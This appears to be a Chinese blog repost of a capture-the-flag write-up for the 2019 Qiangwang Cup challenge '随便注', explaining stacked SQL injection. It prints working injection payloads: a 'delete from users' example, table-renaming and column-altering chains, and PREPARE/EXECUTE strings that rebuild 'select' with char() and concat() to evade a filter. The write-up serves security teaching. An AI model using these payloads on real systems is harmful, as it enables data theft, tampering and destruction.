zoukankan      html  css  js  c++  java
  • [强网杯 2019]随便注 1

    0x01 堆叠注入学习(堆叠查询,Stacked Queries)

    堆叠注入为攻击者提供了很多控制权,与仅限于SELECT语句的UNION联合查询攻击不同,堆叠注入可以用于执行任何SQL语句。

    堆叠注入原理

    在sql中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。

    举个堆叠注入攻击的例子

    执行查询时,第一个语句执行信息查询,第二个语句则将表user的所有内容给删除了。

    mysql> select * from users where id =1;delete from users;
    堆叠注入的局限性

    堆叠注入并不是在每种情况下都能使用的。大多数时候,因为API或数据库引擎的不支持,堆叠注入都无法实现。

    0x02 方法一:重命名+堆叠注入

    1. 发现可以利用 or 把表中所有数据都查询出来,但是并没有我们需要的flag

     
     

    2. 先看一下库名,发现很多函数都被过滤了。由于select被过滤了,union查询也就用不上了。

     3. 尝试一下堆叠注入,果然可以,把全部库名都给查出来了

     4. OK继续查表名

     5. 查看表结构 ,可以发现flag在`1919810931114514`表里

    0';desc `1919810931114514`;#
    

      

    注意:在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符

    eg. mysql> SELECT * FROM `table` WHERE `id` = '123' ;

    1919810931114514必须用反单引号括起来,但是words不需要,应该是和数据类型有关

    6. 再查看words表的结构,发现一共有id和data两列。

    0';desc words;#

    那么可以猜测我们提交查询的窗口就是在这个表里查询数据的

    7. 那么查询语句很有可能是 : selsect id,data from words where id =

    因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1' or 1=1#爆出表所有内容就可以查flag啦

    payload:

    0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

    8. 再用一下一开始的操作id=1' or 1=1#

     

    0x03 方法二:预处理语句+堆叠注入

    预处理语句使用方式:

    PREPARE name from '[my sql sequece]';   //预定义SQL语句
    EXECUTE name;  //执行预定义SQL语句
    (DEALLOCATE || DROP) PREPARE name;  //删除预定义SQL        语句
    

     预定义语句也可以通过变量进行传递: 

    SET @tn = 'hahaha';  //存储表名
    SET @sql = concat('select * from ', @tn);  //存储SQL语句
    PREPARE name from @sql;   //预定义SQL语句
    EXECUTE name;  //执行预定义SQL语句
    (DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句
    

      

    本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。

    char(115,101,108,101,99,116)<----->'select'

    payload1:不使用变量
    1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#
    payload2:使用变量
    1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
    payload3:只是用contact(),不使用char()
    1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
    

      

    直接输入这三个payload的任何一个都能获得flag

    参考文章:
    https://www.sqlinjection.net/stacked-queries/
    https://www.jianshu.com/p/36f0772f5ce8



  • 相关阅读:
    .NET基础知识之七——索引器
    安装Sql Server 2008的时候报错说找不到某个安装文件
    安装Sql Server 2008时出错
    英文操作系统奇怪的问题
    装虚拟机后一部分磁盘空间消失
    服务器允许两台电脑远程登录一个账户
    Linq工具篇(1)——使用LinqPad
    ExtJs工具篇(1)——在Aptana3中安装ExtJS 代码提示插件
    SQL基础(三)-- SQL根据”,“分割字符串
    SQL基础(四)-- SQL连接时去掉重复数据
  • 原文地址:https://www.cnblogs.com/wjw-zm/p/12359735.html
Copyright © 2011-2022 走看看